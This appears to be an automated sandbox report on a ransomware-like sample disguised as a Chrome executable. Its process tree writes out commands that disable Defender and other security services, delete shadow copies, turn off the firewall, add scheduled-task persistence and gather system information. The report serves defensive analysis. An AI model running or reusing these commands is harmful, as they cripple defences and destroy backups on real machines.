PID 4372 wrote to memory of 1524	4372	atrupharma.co_chrome.exe	122
PID 3408 wrote to memory of 1568	3408	fodhelper.exe	123
PID 4372 wrote to memory of 704	4372	atrupharma.co_chrome.exe	125
PID 4372 wrote to memory of 5296	4372	atrupharma.co_chrome.exe	179
PID 4372 wrote to memory of 6576	4372	atrupharma.co_chrome.exe	132
PID 4372 wrote to memory of 6596	4372	atrupharma.co_chrome.exe	134
PID 4372 wrote to memory of 296	4372	atrupharma.co_chrome.exe	139
PID 4372 wrote to memory of 5648	4372	atrupharma.co_chrome.exe	141
PID 4372 wrote to memory of 824	4372	atrupharma.co_chrome.exe	143
PID 4372 wrote to memory of 5764	4372	atrupharma.co_chrome.exe	144
PID 4372 wrote to memory of 4700	4372	atrupharma.co_chrome.exe	145
PID 4372 wrote to memory of 5372	4372	atrupharma.co_chrome.exe	146
PID 4372 wrote to memory of 5680	4372	atrupharma.co_chrome.exe	147
PID 4372 wrote to memory of 4680	4372	atrupharma.co_chrome.exe	148
PID 4372 wrote to memory of 4836	4372	atrupharma.co_chrome.exe	149
PID 4372 wrote to memory of 5056	4372	atrupharma.co_chrome.exe	157
PID 4372 wrote to memory of 332	4372	atrupharma.co_chrome.exe	158
PID 4372 wrote to memory of 5940	4372	atrupharma.co_chrome.exe	159
PID 4372 wrote to memory of 5312	4372	atrupharma.co_chrome.exe	160
PID 4372 wrote to memory of 3908	4372	atrupharma.co_chrome.exe	161
PID 4372 wrote to memory of 1720	4372	atrupharma.co_chrome.exe	162
PID 4372 wrote to memory of 1288	4372	atrupharma.co_chrome.exe	163
PID 5372 wrote to memory of 2900	5372	cmd.exe	169
PID 2900 wrote to memory of 2664	2900	net.exe	171
PID 5764 wrote to memory of 6172	5764	cmd.exe	172
PID 5680 wrote to memory of 6232	5680	cmd.exe	173
PID 4700 wrote to memory of 6248	4700	cmd.exe	174
PID 4680 wrote to memory of 6280	4680	cmd.exe	192
PID 824 wrote to memory of 6396	824	cmd.exe	176
PID 5312 wrote to memory of 6492	5312	net.exe	201
PID 5648 wrote to memory of 5296	5648	cmd.exe	179
PID 5648 wrote to memory of 6816	5648	cmd.exe	180
PID 3300 wrote to memory of 7060	3300	chrome.exe	181
PID 3300 wrote to memory of 7152	3300	chrome.exe	182
PID 3300 wrote to memory of 6952	3300	chrome.exe	183
PID 3300 wrote to memory of 7152	3300	chrome.exe	182
PID 3300 wrote to memory of 6952	3300	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://atrupharma.co
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8413dc728,0x7ff8413dc734,0x7ff8413dc740
    3⤵
    PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1208,i,18365761792761907956,17993031230975699581,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,5072728918645483097,3759595698705077582,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:13
    3⤵
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,16165254298702754134,12368958345451600575,262144 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:4876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,16044772184963030588,2990767987957844869,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:3920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,6059037088239684501,16213590504475360424,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4672,i,12474156419946834529,477557354329235593,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
    3⤵
    PID:3336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4840,i,17258263741321962985,730997030616882414,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:5688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,16736937356216663828,3781155480258499542,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:14
    3⤵
    PID:7060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3428,i,14831468931939246082,8481597514202692634,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:7152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3468,i,7545609068834578807,15807305308325568728,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
    3⤵
    PID:6952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5696,i,14899050452504417045,2114744421433984233,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:1
    3⤵
    PID:1016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5964,i,8614460620535226233,1657257077633725863,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:1
    3⤵
    PID:304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6024,i,13409811584162350967,7382890631073673061,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:14
    3⤵
    PID:2676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6208,i,3467233250136575101,3393321229765481837,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:1
    3⤵
    PID:6460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5576,i,3919187115166074828,4459171804087478662,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:1
    3⤵
    PID:4464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6180,i,13503989551001453960,18263032249761305497,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:1
    3⤵
    PID:6916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5728,i,15977693813370886747,17077140573882308075,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
    3⤵
    PID:6280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6164,i,34302084190646785,8054849858882300071,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:14
    3⤵
    PID:6484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4900,i,1376604594575459975,14784519535304241793,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
    3⤵
    PID:2496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5152,i,2816617936948390348,18227079129431392850,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:1
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4748,i,11382332502356010551,1011028507167866728,2097152 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:9
    3⤵
    PID:5156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5064,i,260451193193526229,5469521243451876735,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
    3⤵
    PID:7064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,1322062819478065238,11862848869355626373,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:14
    3⤵
    PID:6928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4832,i,8077562107163839363,4035309805313684580,524288 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:14
    3⤵
    PID:6492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5736,i,13631759205978822891,10035529510126812914,262144 --field-trial-handle=1908,i,11930468897517607362,16591509092265286325,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:10
    3⤵
    PID:528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4504
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1444
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5180
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4240
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2324
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:676
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe"
    3⤵
    PID:1568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2520
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1524
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5296
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6576
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6596
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5648
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5296
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6816
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:6396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5764
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6172
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:6248
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5372
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5680
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:6280
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4836
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5056
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:332
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5940
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:6492
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3908
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1288

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:936

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6016

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
1⤵
PID:3280

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
1⤵
PID:5156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery